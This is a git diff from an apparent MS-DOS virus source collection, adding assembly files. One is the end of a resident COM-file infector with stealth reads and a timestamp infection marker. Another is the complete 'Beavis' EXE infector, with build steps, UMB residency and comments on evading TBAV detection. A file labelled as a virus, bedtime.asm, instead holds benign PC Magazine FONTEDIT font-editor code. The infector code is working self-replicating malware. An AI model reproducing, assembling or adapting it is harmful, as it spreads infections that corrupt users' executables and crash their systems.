DS:DI + mov dx,[di] ; Load file size in DX + mov [di+04],dx ; Set file pointer to end of file + add [di],cx ; Increase file size with 512 bytes + pop dx ; Restore file entry point (100h) to DX + ; This used for reading original bytes + ; of file at normal place + push dx ; Save entry point again + push cs ; Set ES point to virus segment + pop es ; + push cs ; Set DS point to virus segment + pop ds ; + push ds ; Save PSP segment + mov al,50h ; Push 50h. On stack is far address PSP:0050 + ; This are INT 21; RETF instructions + push ax ; Update returning address + mov ah,03Fh ; Set AH=3F - read file + retf ; Far return; Read original file + ; and return control to it +CallDosGet: int 21h ; Open file; Open procedure will go trough virus + jc ErrorOpen ; If error occur -> Skip open + mov bx,ax ; Move file pointer in BX + ; This could be XCHG AX,BX; that save 1 byte + +GetHandleAddr: push bx ; Save file handle in stack + mov ax,1220h ; Get handle's table number + int 02Fh ; Via int 2F (undocumented) + mov bl,es:[di] ; Load table number in BL + mov ax,1216h ; Get handle table ADDRESS (ES:DI) + int 02Fh ; Via int 2F (undocumented) + pop bx ; Restore file handle from stack + push es ; Set DS to point table's segment + pop ds ; + add di,11h ; DI will point file's size entry intable + mov cx,0200h ; CX set to virus size +ErrorOpen: ret +ReadClean: sti ; Disable external interrupts request + push es ; Save important registers to stack + push si + push di + push bp + push ds ; Data buffer segment + push cx ; Bytes to read + call GetHandleAddr ; Get file handle's table address in DS:DI + mov bp,cx ; Save virus size in BP + mov si,[di+04] ; Save in SI current file pointer + pop cx ; Restore bytes to be readed in CX + pop ds ; Restore buffer segment + call ReadOriginal ; Open file with original int21 + jc SkipClean ; If error while read -> skip cleaning + cmp si,bp ; Check if file pointer was in virus + jnb SkipClean ; If no -> nothing to clean + push ax ; Save readed bytes + mov al,es:[di-04] ; Load AL with file time + not al ; + and al,01Fh ; Mask seconds of file time + jnz SkipCleanPop ; If time is NOT 31 sec -> nothing to do + add si,es:[di] ; Add to current pointer file size + ; Now SI point to requested offset, + ; BUT in original file bytes + + xchg si,es:[di+04] ; Set new file pointer and save old file pointer + add es:[di],bp ; Increase file size with virus size + call ReadOriginal ; Open file via original int21 + mov es:[di+04],si ; Restor file pointer + lahf ; ??? I don't know. If you do let me know + sub es:[di],bp ; Decrease file size with virus size + sahf ; ??? I don't know. If you do let me know +SkipCleanPop: pop ax ; Restore readed bytes + +SkipClean: pop bp ; Restore saved imortant register + pop di + pop si + pop es + db 0CAh, 2, 0 ; RETF 2 + +ReadOriginal: mov ah,03Fh +CallDOS: pushf + push cs + call JumpDOS + ret +; Following few bytes are int21 handler. They check if file is open close or +; executed and clean or infect file with virus. Here there is serious problem - +; from time to time virus infect file which is NOT COM file (EXE file will be +; destroyed, by the way). +; More about this later in comments + + +int21: cmp ah,03Fh ; If function is Read file + jz ReadClean ; then go and read original bytes + + push ds ; Save important registers + push es + push ax + push bx + push cx + push dx + push si + push di + cmp ah,03Eh ; If function is Close file + jz CloseInfect ; then Close and Infect + cmp ax,04B00h ; If execute file + mov ah,03Dh ; then open file before execute + ; After opening file will be closed + ; and .... Infected + jz Infect ; +TerminateInt: pop di ; Restore important registers + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds +JumpDOS: jmp dword ptr cs:[0004] ; Jump to original int21 + +CloseInfect: mov ah,45h +Infect: call CallDosGet ; Duplicate file handler + jc TerminateInt ; If error -> terminate + sub ax,ax ; Set AX to 0 + mov [di+04],ax ; Set file pointer to 0 + mov byte ptr [di-0Fh],02 ; Set file open mode to Read/Write + cld + mov ds,ax ; Set DS point to interrupt table + mov si,004Ch ; SI point to int13 offset + lodsw ; Load int13 offset + push ax ; and save it in stack + lodsw ; Load int13 segment + push ax ; and save it in stack + push [si+40h] ; Save int24 offset + push [si+42h] ; Save int24 segment + lds dx,dword ptr cs:[si-50h] ; Load DS:DX with BIOS int13 + mov ax,2513h ; and set it via DOS function SetVector + int 21h ; + push cs ; Set DS point to virus segment + pop ds ; + mov dx,offset int24+8 ; Load in DX offset of int24 handler + mov al,24h ; Set int24 vector + int 21h ; via DOS function SetVector + push es ; Set DS point to handle table segment + pop ds ; + mov al,[di-04] ; Load AL with file time + +; As I said in some case virus will infect non-COM file. This may happend +; if file you work with has time set to 62 seconds. In this case virus infect +; file without checking filename. This WILL damage EXE file. DOS will treat +; this files as COM files, but usualy their size is bigger than 64K, so DOS +; cannot run it. If file is less than 64K then virus run and read original +; bytes. Usualy he DO read them, then skip control to these bytes. In EXE +; files this is EXEheader, so execution FAIL (your system CRASH) + + + and al,01Fh ; Mask seconds + cmp al,01Fh ; Check if seconds == 31 (62sec) + jz NoNameCheck ; If so -> infect with no name check + mov ax,[di+17h] ; Load AX with first 2 letters of file extension + sub ax,04F43h ; If file is NOT *.CO? + jnz SkipInfect ; SkipInfect + +NoNameCheck: xor [di-04],al ; Set file seconds to 31 (62sec) + mov ax,[di] ; Set AX to file size + cmp ax,cx ; Check file size and virus size + jb SkipInfect ; If file is less than 512 bytes -> Don't infect + add ax,cx ; Increase file size with virus size + jc SkipInfect ; If file is bigger than (65535-512) -> no infect + test byte ptr [di-0Dh],04 ; Check file attribute + jnz SkipInfect ; If SYSTEM file -> don't infect it + lds si,dword ptr [di-0Ah] ; Load DS:SI with device header + dec ax ; AX (file size with virus) -- + shr ah,1 ; AX/=2 + and ah,[si+04] ; Check if enough place in cluster behind file + jz SkipInfect ; If no place -> terminate infection + mov ax,0020h ; DS = 20 (Second part of int table) + mov ds,ax ; + sub dx,dx ; DS:DX point to virus transfer buffer + call ReadOriginal ; Open file with original int21 + mov si,dx ; Save virus buffer offset in SI + push cx ; Save virus size +LoopCheck: lodsb + cmp al,cs:[si+07] ; Compare readed data with virus code + jnz WriteFile ; If at least ONE byte different -> fuck file + loop LoopCheck ; Check all virus code with buffer + pop cx ; Restore virus size +SetFileTime: or byte ptr es:[di-04],01Fh ; Set file time to 62sec +NoUpdateTime: or byte ptr es:[di-0Bh],40h ; Set flag in device info word + + ; In case of file this is flag area. Setting bit 14 + ; as virus does, mean for DOS "Don't set file date/time when close" + ; DOS always rewrite Date/Time field of table. If bit 14 is clear (0) + ; then DOS will set current time to file. Virus should avoid this, or + ; DOS will overwrite seconds field and they (seconds) will be normal + +SkipInfect: mov ah,03Eh ; Close file + call CallDOS ; via original int21 + or byte ptr es:[di-0Ch],40h ; Set flag... See above + pop ds ; Restore original int24 + pop dx + mov ax,2524h ; via SetVector + int 21h + pop ds ; Restore original int13 + pop dx + mov al,13h ; via SetVector + int 21h + jmp TerminateInt ; All done, jump to DOS + +WriteFile: pop cx ; Restore virus size to CX + mov si,es:[di] ; Save current file size in SI + mov es:[di+04],si ; Move file pointer at the end of file + mov ah,40h ; Write to file its first 512 bytes at the end + int 21h + jc NoUpdateTime ; If error occur file time will be normal + mov es:[di],si ; Set file size to be as before (file size + ; will remain unchanged) + mov es:[di+04],dx ; Set file pointer to beginning of file + push cs ; Set DS:DX point to virus + pop ds ; + mov dl,08 ; Skip first 8 bytes of virus, because they + ; are a buffer for int handlers adresses + mov ah,40h ; Write virus at the beginning of file + int 21h ; + jmp SetFileTime ; File now OK infected, so his time must be + ; set to 62 sec + int24: iret ; int 24 handler. Avoid "Write protected error..." + db '666' ; Virus signature + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.beavis.asm b/MSDOS/Virus.MSDOS.Unknown.beavis.asm new file mode 100644 index 00000000..05f848c2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.beavis.asm @@ -0,0 +1,381 @@ +;**************************************************************************** +;* Beavis * +;* by Crypt Keeper * +;**************************************************************************** + +;Beavis is a memory resident infector of EXE files that infects files as +;they are executed. It only loads itself resident if a high memory manager +;is present, loading itself into the UMB (above 640k). It triggers randomly +;at file execution, displaying a random Beavis quote from Beavis and Butthead. + +;TASM BEAVIS.ASM /M3 +;TLINK BEAVIS.OBJ +;EXE2BIN BEAVIS.EXE BEAVIS.COM +;.COM file is ready to run with no modifications. + + .model tiny + .code + +vtop equ $ ;top of virus code block + +;Equates -------------------------------------------------------------------- + +vlength equ vbot-vtop ;virus length in bytes +heapsiz equ hbot-heap ;heap size in bytes +vlres equ ((vlength+heapsiz)/16)+1 ;virus length in paragraphs +vlpage equ (vlength/512)+1 ;virus length in pages +chkfunc equ 9AD5h ;check resident int 21h function +virusid equ 150h ;virus ID word in exeheader + +;---------------------------------------------------------------------------- + + cld ;clear direction flag + + db 0BDh ;mov bp, +delta dw 100h ;delta offset + + lea sp,[bp+(offset(sspace)+30)] ;set up new stack + + push ds + push es ;save original EXE segments + + mov ax,chkfunc + xor cx,cx + mov ds,cx + pushf ;This calls INT 21h while eliminating + call dword ptr ds:[21h*4] ;TBAV's undocumented DOS call flag. + + push cs + pop ds + + cmp ax,chkfunc-1 ;did virus return reply? + jne install ;if not, install resident + + jmp return ;if so, return to original program + +install: + mov ax,3521h ;get int 21h vector + int 21h + + mov [bp+offset(i21veco)],bx + mov [bp+offset(i21vecs)],es + + mov ax,4300h ;get himem.sys installed state + int 2Fh ;multiplex interrupt + + cmp al,80h ;80h in al means himem.sys is loaded + jne return ;Return if no High-Memory manager + + mov ax,4310h ;get himem.sys entry point adress + int 2Fh + + mov [bp+offset(himem_s)],es + mov [bp+offset(himem_o)],bx ;himem.sys entry point + + mov ah,10h ;allocate UMB (function 10h) + mov dx,vlres ;paragraphs to request + + call dword ptr [bp+offset(himem_o)] ;call himem.sys + mov es,bx ;BX will contain segment of memory + + mov si,bp ;bp=start of virus code + mov cx,(vlength+(heapsiz+1))/2 ;virus length in words+heap data + xor di,di + + rep movsw ;copy virus code up there + + push es + pop ds + + mov dx,offset(i21vec) ;new int 21h vector + mov ax,2521h ;set int 21h vector + int 21h + +return: mov ah,51h ;Get PSP adress + int 21h + + add bx,16 ;Compensate for PSP size + + pop es + pop ds ;Restore original ES and DS from EXE + + cli ;Clear interrupts for stack change + + mov sp,cs:[bp+offset(old_sp)] + mov ax,cs:[bp+offset(old_ss)] + add ax,bx ;Find segment for SS + mov ss,ax ;Reset original EXE stack + + sti + + add cs:[bp+offset(old_cs)],bx ;Find segment for CS + + jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code + +;---------------------------------------------------------------------------- + +move_pointer_end: + xor cx,cx + xor dx,dx ;move pointer 0 bytes + + mov ax,4202h ;move pointer to end of file + int 21h + ret + +;Data ----------------------------------------------------------------------- + +talk1 db 'FIRE FIRE FIRE!$' +talk2 db 'Hey butthead this sucks change the channel!$' +talk3 db 'Shut up butthead or I''ll kick your ass!$' +talk4 db 'We''re there dude.$' +talk5 db 'The Beavis virus kicks ass!$' + +old_sp dw 0 +old_ss dw 0FFF0h ;Old SS:SP +old_ip dw 0 +old_cs dw 0FFF0h ;Old CS:IP + +;---------------------------------------------------------------------------- + +i21vec: nop + + xchg ax,cx ;get rid of TBAV's execution intercept + ;heuristic flag. + + cmp cx,4B00h ;load and execute program? + je vtrigger + + cmp cx,4B01h ;load program? + je vtrigger + + xchg ax,cx + + cmp ax,chkfunc ;check if virus is resident? + je return_reply + + jmp dword ptr cs:i21veco +return_reply: + dec ax ;decrement AX + iret ;return from interrupt +vtrigger: + xchg ax,cx + + push ax si bx cx di es ds dx ;save all used registers + + mov ax,4300h ;get file attributes + int 21h + + jc exitvec ;exit if filename invalid + + mov cs:oldattr,cx ;save old file attributes + + xor cx,cx ;set attributes to normal + mov ax,4301h ;set file attributes + int 21h + + mov ax,3D02h ;open file for read/write access + int 21h + + jc exitvec ;exit if open permission denied + + mov bx,ax ;file handle + push cs + pop ds + + mov ax,5700h ;get file date and time + int 21h + + mov olddate,dx + mov oldtime,cx ;save old file date and time + + mov cx,28 ;28 bytes to read + mov dx,offset(readbuffer) ;buffer to recieve data + + mov ah,3Fh ;read file or device + int 21h + + cmp ax,28 + jb closeexit ;close and exit if file too small + + cmp init_sp,virusid ;is file alredy infected? + je closeexit + + mov ax,idword + xor ax,0ABCDh ;kill TBAV's check exe/com flag + cmp ax,0E697h + je infect_exe + cmp ax,0F180h + je infect_exe ;if MZ or ZM, go ahead and infect + + jmp short closeexit ;if not, don't infect + +exitvec: + pop dx ds es di cx bx si ax ;restore all used registers + + jmp dword ptr cs:i21veco ;execute rest of interrupt chain +closeexit: + mov cx,oldtime + mov dx,olddate ;restore old time and date + + mov ax,5701h ;set file date and time + int 21h + + mov ah,3Eh ;close file with handle + int 21h + + mov cx,cs:oldattr ;old file attributes + pop dx ds + push ds dx ;get old filename off stack + + mov ax,4301h ;set file attributes + int 21h + + mov ah,2Ch ;get time + int 21h + + cmp cl,dh ;do seconds and minutes line up? + jne exitvec ;if not, no trigger + + push cs + pop ds + + inc dl + mov al,dl + xor ah,ah + mov bl,20 + div bl ;convert to random number 0-5 + + cmp al,0 + je _talk1 + cmp al,1 + je _talk2 + cmp al,2 + je _talk3 + cmp al,3 + je _talk4 + cmp al,4 + je _talk5 ;select message + +_talk1: mov dx,offset(talk1) + jmp short _talk +_talk2: mov dx,offset(talk2) + jmp short _talk +_talk3: mov dx,offset(talk3) + jmp short _talk +_talk4: mov dx,offset(talk4) + jmp short _talk +_talk5: mov dx,offset(talk5) + +_talk: mov ah,9 ;print string + int 21h + + jmp short exitvec ;exit + +infect_exe: + les si,dword ptr ds:init_ss ;get initial SS:SP (reversed) + mov old_ss,si + mov old_sp,es + + les si,dword ptr ds:init_ip ;get initial CS:IP + mov old_cs,es + mov old_ip,si + + call move_pointer_end ;move file pointer to end of file + + mov cx,10h + div cx ;convert to paragraphs + + push ax + sub ax,hsize ;subtract header size in paragraphs + + pop cx + cmp ax,cx + ja _closeexit ;If file too small, end infection + + mov init_cs,ax + mov init_ip,dx ;set initial CS:IP in exe header + mov delta,dx ;set delta offset in virus + + mov init_sp,virusid + mov init_ss,ax ;set initial SS:SP in exe header + + add word ptr ds:minmem,vlres ;add virus length to minimum memory + + mov cx,vlength ;number of bytes in virus + xor dx,dx + + mov ah,40h ;write file or device + int 21h + + call move_pointer_end ;move file pointer to end of file + + mov cx,512 + div cx ;change bytes in new file to pages + cmp dx,0 ;no remainder? + je go_ahead_set + + inc ax ;if remainder, add another page + +go_ahead_set: + mov word ptr pages,ax + mov word ptr lastpg,dx ;set EXE file size + + xor dx,dx + xor cx,cx + + mov ax,4200h ;move file pointer to beginning of file + int 21h + + mov cx,28 ;28 bytes in header + mov dx,offset(readbuffer) + + mov ah,40h ;write file or device + int 21h + +_closeexit: + jmp closeexit ;close and exit + +;---------------------------------------------------------------------------- + +copr db '[BEAVIS] by Crypt Keeper' + +;---------------------------------------------------------------------------- + +vbot equ $ ;bottom of virus code +heap equ $ ;Beginning of heap + +readbuffer: +idword dw 0 ;ID word +lastpg dw 0 ;Number of bytes in last page +pages dw 0 ;Total pages +segent dw 0 ;number of entries in segment table +hsize dw 0 ;header size in paragraphs +minmem dw 0 ;minimum memory to request +maxmem dw 0 ;maximum memory to request +init_ss dw 0 ;initial SS value +init_sp dw 0 ;initial SP value +negchk dw 0 ;negative checksum +init_ip dw 0 ;initial IP value +init_cs dw 0 ;initial CS value +reltab dw 0 ;offset of relocation table from header +ovnum dw 0 ;overlay number + +himem_o dw 0 +himem_s dw 0 ;himem.sys entry point adress + +i21veco dw 0 +i21vecs dw 0 ;int 21h vector + +oldattr dw 0 ;old file attributes + +oldtime dw 0 +olddate dw 0 ;old saved time and date + +hbot equ $ ;bottom of heap + +sspace db 32 dup (0) ;virus stack space + ;not used when resident so not + ;included in heap space + + end + diff --git a/MSDOS/Virus.MSDOS.Unknown.bedtime.asm b/MSDOS/Virus.MSDOS.Unknown.bedtime.asm new file mode 100644 index 00000000..b62aed0e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bedtime.asm @@ -0,0 +1,1315 @@ +;---------------------------------------------------------------------- +; Fontedit - Loads the current screen font and lets you modify it. +; Saves font in a COM file with integral loader. Requires EGA or VGA. +; Syntax: FONTEDIT [filespec] +; PC Magazine September 13, 1988 +;---------------------------------------------------------------------- +_TEXT SEGMENT PUBLIC 'CODE' + ASSUME CS:_TEXT,DS:_TEXT + ASSUME ES:_TEXT,SS:_TEXT + + ORG 100H +START: JMP MAIN + +; DATA AREA +; --------- + DB CR,SPACE,SPACE,SPACE,CR,LF + +COPYRIGHT DB "FONTEDIT 1.0 (C) 1988 Ziff Communications Co. ",BOX +PROGRAMMER1 DB " PC Magazine ",BOX," Michael J. Mefford",0,CTRL_Z + +CR EQU 13 +LF EQU 10 +CTRL_Z EQU 26 +SPACE EQU 32 +BOX EQU 254 + +ESC_SCAN EQU 1 +ENTER_SCAN EQU 1CH +UP_ARROW EQU 48H +DN_ARROW EQU 50H +LEFT_ARROW EQU 4BH +RIGHT_ARROW EQU 4DH +Y_SCAN EQU 15H +BS_SCAN EQU 0EH +TAB_CHAR EQU 9 + +MAX_POINTS EQU 16 +PIXEL_OFF EQU 177 +PIXEL_ON EQU 219 +EDIT_COL EQU 32 +EDIT_ROW EQU 8 +EDIT_TOP EQU EDIT_ROW SHL 8 + EDIT_COL +TEMPLATE_TOP EQU EDIT_TOP - 28 +CHAR_TOP EQU EDIT_TOP + 28 +BOX_TOP EQU EDIT_TOP + 1 - 400H +INTENSITY EQU 1000B +MICKEY EQU 20 + +BUTTONS LABEL WORD +LEFT_BUTTON DB 0 +RIGHT_BUTTON DB 0 +SHIFT_KEYS EQU 3 +SHIFT_STATE DB ? + +HORIZONTAL DW 0 +VERTICAL DW 0 + +NORMAL EQU 07H +ATTRIBUTE DB 07H +INVERSE DB 70H +ROWS DB ? +MAX_LINES DW 16 +MOUSE_FLAG DB 0 +MODIFY_FLAG DB 0 +BLANKS DB 0,32,255 +FILE_FLAG DB 0 +FILE_HANDLE DW ? +FILENAME DW ? +LAST_PIXEL DB ? + +;format: reg,value SEQUENCER REGISTERS GRAPHICS CONTROLLER REGISTERS +; MAP MASK MEMORY MODE MODE REG MISC READ MAP SELECT +ACCESS_A000H DB 2,4, 4,7, 5,0, 6,4, 4,2 +PROTECT_A000H DB 2,3, 4,3, 5,10H, 6,0AH, 4,0 + +MENU LABEL BYTE +DB "F1 Del row F2 Ins row F3 Dup row F4 Save $" +MENU1 LABEL BYTE +DB "F5 Copy template char. Tab = select edit/char box" +DB " Use: arrow keys or mouse",CR,LF +DB "Hold Shift key or mouse button to drag. Esc to exit" +DB " Rows displayed = ",CR,LF +DB "Left button = pixel on",CR,LF +DB "Right button = pixel off",CR,LF +DB "Space bar = toggle pixel$" +MENU2 LABEL BYTE +DB "Enter = select char.",0 +DB "Button = select char.",0 +DB "PgUp/PgDn prev./next char.",0 + +CAPTIONS DW TEMPLATE_TOP - 2 + DB "Template Char",0 + DW EDIT_TOP - 2 + DB " Edit Char",0 + DW CHAR_TOP - 2 + DB "Character Set",0 + +CURRENT_BOX DB 218, 5 DUP (196), 194, 5 DUP (196), 191 + DB 179, 5 DUP (SPACE), 179, 5 DUP (SPACE), 179 + DB 192, 5 DUP (196), 193, 5 DUP (196), 217 + +NOT_ENOUGH DB "Not enough memory$" +NOT_SUPPORTED DB "Font too tall$" +NOT_EGA_VGA DB "Ega/Vga not found$" +SAVE_MSG DB CR,LF,"Save ",0 +FILE_MSG DB "file",0 +CREATE_MSG DB CR,LF,"Create ",0 +EXIST_MSG DB CR,LF,"Write over existing ",0 +YES_NO DB "? Y/N",0 +FAILED_MSG DB CR,LF,"Failed$" +FILENAME_MSG DB CR,LF,"Enter filename",CR,LF,"$" +NOT_FONT_MSG DB " not font$" +COM DB ".COM",0 +WARNING_MSG DB LF,"Warning! The cursor row will be deleted in" + DB " EVERY character in this font.",CR,LF,"Continue$" + +DISPATCH_KEY DB 1, 4BH, 4DH, 48H, 50H, 49H + DB 51H, 0FH, 39H, 1CH, 3BH, 53H + DB 3CH, 52H, 3DH, 3EH, 3FH +DISPATCH_CNT EQU $ - DISPATCH_KEY + +DISPATCH_TABLE DW EXIT, LEFT, RIGHT, UP, DOWN, PGUP + DW PGDN, TAB, SPACE_BAR, ENTER, DEL_ROW, DEL_ROW + DW INS_ROW, INS_ROW, DUP_ROW, SAVE, COPY_TEMP +DISPATCH_END EQU $ - 2 + +; CODE AREA +; --------- +MAIN PROC NEAR + + CLD ;All string operations forward. + + MOV BX,1024 ;Allocate 1024 paragraphs; 16K. + MOV AH,4AH + INT 21H + MOV DX,OFFSET NOT_ENOUGH ;Exit with message if not enough. + JC ERROR_MSG + + MOV AX,500H ;Make sure zero video page. + INT 10H + + MOV AX,40H ;Point to BIOS data area. + MOV ES,AX + + MOV AX,1A00H ;Get display info. + INT 10H + CMP AL,1AH ;Function supported? + JNZ CK_EGA ;If no, not VGA; check EGA. + CMP BL,7 ;Else, monochrome VGA? + JZ GET_CRT_MODE ;If yes, OK. + CMP BL,8 ;Else, color VGA? + JZ GET_CRT_MODE ;If yes, OK. + +CK_EGA: MOV MAX_LINES,14 ;Else, use 14 max lines for EGA. + MOV BL,10H ;Get EGA information. + MOV AH,12H + INT 10H + MOV DX,OFFSET NOT_EGA_VGA + CMP BL,10H ;Is there an EGA? + JZ ERROR_MSG ;If no, exit with message. + TEST ES:BYTE PTR [87H],8 ;Is EGA active? + JNZ ERROR_MSG ;If no, exit with message. + +GET_CRT_MODE: MOV BL,ES:[49H] ;Retrieve CRT_MODE. + CALL INFORMATION ;Get font information. + MOV DX,OFFSET NOT_SUPPORTED + CMP CX,MAX_POINTS ;Font greater than 16 points? + JBE CK_MODE ;If no, OK. + +ERROR_MSG: CALL PRINT_STRING ;Print error message. +ERROR_EXIT: MOV AL,1 ;ERRORLEVEL = 1 + JMP TERMINATE ;Exit. + +CK_MODE: CMP BL,7 ;CRT_MODE mono? + JZ SAVE_MODE ;If yes, skip. + MOV BYTE PTR PROTECT_A000H + 7,0EH ;Else, change parameter. + CMP BL,2 ;Is mode BW80? + JZ SAVE_MODE ;If yes, defaults. + MOV ATTRIBUTE,17H ;Else, use color attributes. + MOV INVERSE,71H + CMP BL,3 ;Are we in CO80? + JZ SAVE_MODE ;If yes, done here. + MOV AX,3 ;Else, change to CO80. + INT 10H + MOV BL,3 + +SAVE_MODE: MOV CRT_MODE,BL ;Save CRT_MODE in loader. + CALL SETUP ;Setup the display. + +;************************** MAIN LOOP **************************; +; User input dispatcher. AH = ASCII character; AL = Scan Code. ; +;***************************************************************; + +INPUT: CALL HIDE_CURSOR ;Park cursor off screen. + CALL GET_INPUT ;Get some input from user. + CMP BUTTONS,0 ;Was a mouse button pressed? + JZ CK_ASCII ;If no, check keyboard input. + CALL BUTTON_PRESS ;Else, process button press. + JMP SHORT INPUT ;Next input. + +CK_ASCII: OR AL,AL ;Scan code zero? + JZ ALT_INPUT ;If yes, ALT keypad entry. + MOV DI,OFFSET DISPATCH_KEY ;Else, check dispatch table. + MOV CX,DISPATCH_CNT + REPNZ SCASB + JNZ ALT_INPUT ;If no match, keyboard char. + SHL CX,1 ;Else, look up subroutine + MOV DI,OFFSET DISPATCH_END + SUB DI,CX + CALL [DI] ; and process command. + JMP SHORT INPUT ;Next input. + +ALT_INPUT: OR AH,AH ;ASCII zero? + JZ INPUT ;If yes, skip. + MOV EDIT_CHAR,AH ;Else, store as new character. + CALL SETUP_END ;Display new edit character. + JMP SHORT INPUT ;Next input. + +;---------------------------------------------------; +; Exit. If font was modified, prompt user to save. ; +;---------------------------------------------------; + +EXIT: CALL CLS ;Clear the screen. + CMP MODIFY_FLAG,1 ;Font modified? + JNZ GOOD_EXIT ;If no, return to DOS. + MOV SI,OFFSET FILE_MSG + CMP FILE_FLAG,1 ;If there a filename? + JZ DO_FILE ;If yes, display it. + MOV FILENAME,SI ;Else, display "file". +DO_FILE: MOV SI,OFFSET SAVE_MSG + CALL PROMPT ;Prompt user to save. + JNZ GOOD_EXIT ;If "Y"es not pressed, exit. + CMP FILE_FLAG,1 ;Else, is there a filename? + JZ DO_SAVE ;If yes, save it. + CALL GET_NAME ;Else, get a filename. + JC GOOD_EXIT ;If aborted, exit. + +DO_SAVE: CALL SAVE_FILE ;Save the font COM file. + +GOOD_EXIT: CALL CLS ;Clear the screen. + XOR AL,AL ;ERRORLEVEL zero. +TERMINATE: MOV AH,4CH ;Return to DOS. + INT 21H + +MAIN ENDP + +; *************** +; * SUBROUTINES * +; *************** + +;-------------------------------------------------------------; +; What follows is the user input command processing routines. ; +;-------------------------------------------------------------; + +BUTTON_PRESS: CALL GET_CURSOR ;Is cursor in character box? + JNZ DO_ENTER ;If yes, process as if Enter. + CMP LEFT_BUTTON,0 ;Else, left button press + JZ TURN_OFF ; will turn on pixel. + CALL GET_PIXEL ;Get the pixel. + OR [DI],AH ;Turn it on. + JMP SHORT BUTTON_END + +TURN_OFF: CALL GET_PIXEL ;Right button will turn off pixel + XOR AH,0FFH ;Invert bit mask. + AND [DI],AH ;Turn it off. + +BUTTON_END: CALL UPDATE_CURSOR ;Update the cursor. + CALL LOAD_CHAR ;Load the character. + RET + +;--------------------------------; + +ENTER: CALL GET_CURSOR ;Is cursor in character box? + JZ ENTER_END ;If no, ignore. +DO_ENTER: CALL GET_CHAR ;Else, get the highlighted char. + MOV EDIT_CHAR,AL ;Store it as new edit char. + CALL NEW_CHAR ;Display the edit character. +ENTER_END: RET + +;--------------------------------; + +LEFT: MOV BP,0FFH ;Movement = 0 rows; -1 cols. + JMP SHORT ARROWS + +RIGHT: MOV BP,1 ;Movement = 0 rows; +1 cols. + JMP SHORT ARROWS + +UP: MOV BP,0FF00H ;Movement = -1 rows; 0 cols. + JMP SHORT ARROWS + +DOWN: MOV BP,100H ;Movement = +1 rows; 0 cols. + +ARROWS: CALL RESTORE ;Restore current cursor position. + CALL GET_CURSOR ;Cursor in edit box? + MOV CX,BP + JNZ CHAR_ARROW ;If no, do character movement. + ADD CL,CL ;Else, double up col. movement. + CALL CK_BOUNDS ;Move cursor; check the boundary. + SUB AX,EDIT_TOP ;AX has position; make relative. + MOV EDIT_CURSOR,AX ;Store as new edit cursor. + MOV BH,LAST_PIXEL ;Retrieve the last pixel. + CALL GET_PIXEL ;Get pixel in new position. + CMP SHIFT_STATE,0 ;Button or Shift key depressed? + JZ UPDATE_PIXEL2 ;If no, update new cursor pos. + + OR BH,BH ;Else, was last pixel on? + JNZ BIT_ON ;If yes, drag to new position. + XOR AH,0FFH ;Else, invert mask + AND BYTE PTR [DI],AH; ; and drag pixel off. + JMP SHORT UPDATE_PIXEL1 + +BIT_ON: OR BYTE PTR [DI],AH ;Turn the pixel on. + +UPDATE_PIXEL1: CALL LOAD_CHAR ;Load the character. + +UPDATE_PIXEL2: CALL UPDATE_CURSOR ;Update the cursor display. + RET + +;--------------------------------; + +CHAR_ARROW: CALL CK_BOUNDS ;Move cursor; check the boundary. + SUB AX,CHAR_TOP ;Convert to relative position. + MOV CHAR_CURSOR,AX ;Store new character box pos. + CMP SHIFT_STATE,0 ;Button or Shift key depressed? + JZ CHAR_END ;If no, done here. +NEW_CHAR: CALL GET_CHAR ;Else, get the character + MOV EDIT_CHAR,AL ; and use as new edit character. + CALL DISPLAY_FONT ;Display it. + +CHAR_END: CALL UPDATE_CURSOR ;Update the cursor display. + RET + +;--------------------------------; + +PGUP: DEC EDIT_CHAR ;Next lower edit character. + JMP SHORT PAGE_END + +PGDN: INC EDIT_CHAR ;Next higher edit character. + +PAGE_END: CALL SETUP_END ;Display it. + RET + +;--------------------------------; + +TAB: CALL RESTORE ;Restore current cursor position. + XOR EDIT_FLAG,1 ;Toggle Edit/char active box. + CALL UPDATE_CURSOR ;Display cursor in new box. + RET + +;--------------------------------; + +SPACE_BAR: CALL GET_CURSOR ;Is cursor in character box? + JNZ SPACE_END ;If yes, ignore. + CALL GET_PIXEL ;Else, get the pixel. + XOR [DI],AH ;Toggle the pixel. + CALL UPDATE_PIXEL1 ;Update character and cursor. +SPACE_END: RET + +;--------------------------------; + +DEL_ROW: CALL GET_CURSOR ;Is cursor in character box? + JNZ DELETE_RETURN ;If yes, ignore. + MOV BP,POINTS ;Else, retrieve scan line points. + CMP BP,1 ;Is there only one scan line? + JZ DELETE_RETURN ;If yes, ignore. + MOV AL,AH ;Else, delete position equals + XOR AH,AH ; POINTS - relative ROW. + SUB BP,AX + + CALL CLEAR_MENU ;Clear part of the menu and + MOV DX,OFFSET WARNING_MSG ; display warning message. + CALL PRINT_STRING + CALL QUERY ;Should we delete? + JNZ DELETE_END ;If no, done here. + + MOV BX,POINTS ;Else, retrieve bytes/char. + MOV SI,OFFSET EDIT_FONT ;Delete edit font. + CALL DELETE + MOV SI,OFFSET TEMPLATE_FONT ;Do same to template font. + CALL DELETE + + DEC BX ;One less byte/char. + MOV BH,BL + CMP BYTE PTR EDIT_CURSOR + 1,BL ;Was last row deleted? + JNZ LOAD_IT ;If no, OK. + DEC BL ;Else, move cursor up one + MOV BYTE PTR EDIT_CURSOR + 1,BL ; row so it's on new char. + +LOAD_IT: MOV BP,OFFSET EDIT_FONT + CALL USER_LOAD ;Load the new font. + CALL INFORMATION ;Get font information. + MOV MODIFY_FLAG,1 ;Note that font's been modified. + CALL CLS ;Clear the old display. +DELETE_END: XOR DX,DX + CALL SET_CURSOR + CALL DISPLAY_COPY ;Display new font. +DELETE_RETURN: RET + +;-----------------; + +DELETE: MOV DI,SI ;Destination starts at source. + MOV CX,256 ;256 characters to do. +NEXT_DELETE: PUSH CX ;Save character count. + MOV CX,BX ;BX has bytes/character. +CK_SKIP: CMP CX,BP ;Is this the row to delete? + JZ SKIP_ROW ;If yes, skip it. + MOVSB ;Else, move it down. + JMP SHORT LOOP_DELETE +SKIP_ROW: INC SI ;Skip deletion row. +LOOP_DELETE: LOOP CK_SKIP ;Do all character rows. + POP CX + LOOP NEXT_DELETE ;Do all 256 characters. + RET + +;--------------------------------; + +INS_ROW: XOR BL,BL ;Insert a zero byte. + JMP SHORT INS_EDIT + +;--------------------------------; + 